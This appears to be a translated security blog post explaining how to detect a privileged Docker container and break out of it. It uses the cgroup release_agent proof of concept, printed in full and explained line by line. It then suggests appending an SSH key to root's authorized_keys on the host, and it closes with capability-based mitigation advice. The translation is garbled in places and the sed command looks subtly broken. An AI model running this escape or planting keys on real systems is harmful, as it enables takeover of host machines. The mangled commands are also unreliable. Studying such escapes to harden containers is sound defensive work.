Escape from privileged Docker containers
Docker privileged containers are containers that run with the flag --privileged
… Unlike regular containers, these containers have root access to the host machine.
Privileged containers are often used when tasks require direct access to hardware to perform tasks. However, privileged Docker containers can allow attackers to take over the host system. Today we will see how you can exit a privileged container.
Search for vulnerable containers
How can we determine that we are in a privileged container?
How do you know that you are in a container?
Cgroups
stands for control groups. This Linux feature isolates resource usage and is what Docker uses to isolate containers. You can tell if you are in a container by checking the cgroup of the init process in /proc/1/cgroup
… If you are not inside a container, then the control group will be /. Again, if you are in a container, you will see instead /docker/CONTAINER_ID
…
How do you know if a container is privileged?
Once you have determined that you are in a container, you need to understand if it is privileged. The best way to do this is to run the command that needs the flag --privileged
and see if it works.
For example, you can try adding dummy
interface using the command iproute2
… This command requires access to NET_ADMIN
that the container owns, if privileged.
$ ip link add dummy0 type dummy
If the command succeeds, then we can conclude that the container has the functionality NET_ADMIN
… AND NET_ADMIN
in turn, it is part of a privileged set of functions, and containers that do not have one are not privileged. You can remove the link dummy0
after this test, using the command:
ip link delete dummy0
Escape from the container
So how do you go outside the privileged container? The following script will help you here. This example and proof-of-concept was taken from the blog Trail of Bits… To dive deeper into the concept, read the original article:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
This check of concept uses the function release_agent
of cgroup
…
After finishing the last process in cgroup
, a command is executed that removes terminated work cgroups
… This command is listed in the file release_agent
and is executed on behalf of root
on the host computer. By default, the function is disabled, and the path release_agent
– empty.
This exploit runs code through a file release_agent
… We need to create cgroup
, specify its file release_agent
and run release_agent
by killing all processes in cgroup
… The first line in hypothesis testing creates a new group:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
The following includes the function release_agent
:
echo 1 > /tmp/cgrp/x/notify_on_release
Further in the next few lines the path to the file is written release_agent
:
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Then you can start writing to the command file. This script will execute the command ps aux
and save it to a file /output
… You also need to set the access bits for the script:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
Finally, initiate an attack by spawning a process that will terminate immediately in the cgroup we created. Our script release_agent
will be executed after the process ends. You can now read the output ps aux
on the host machine in a file /output
:
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
You can use this concept to execute whatever commands you want on the host system. For example, you can use it to write your SSH key to a file authorized_keys
root user:
cat id_dsa.pub >> /root/.ssh/authorized_keys
Preventing an attack
How can this attack be prevented? Rather than granting containers full access to the host system, you should only grant the permissions they need.
Docker’s capabilities allow developers to selectively grant permissions to a container. It is possible to split permissions, usually packed in root access
, into individual components.
By default, Docker takes all permissions from the container and requires them to be added. You can remove or add permissions using flags cap-drop
and cap-add
…
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
For example, instead of giving the container root access
, you leave him NET_BIND_SERVICE
if it needs to connect to a port below 1024. This flag will give the container the necessary permissions:
--cap-add NET_BIND_SERVICE
Conclusion
Whenever possible, avoid running Docker containers with the flag --privileged
… Privileged containers can give attackers the ability to exit the container and gain access to the host system. Instead, give containers permission individually with a flag --cap-add
…
Read more
- Linux kernel features
- Using Docker safely
- Security Best Practices for Working with Privileged Containers
- Red Team Tactics: Advanced Process Monitoring Techniques in Offensive Operations
- Pentest. Penetration testing practice or “ethical hacking”. New course from OTUS
So, when I get the message “mount: permission denied” after calling the first mount command, it is not possible to break from a docker container with this method, right?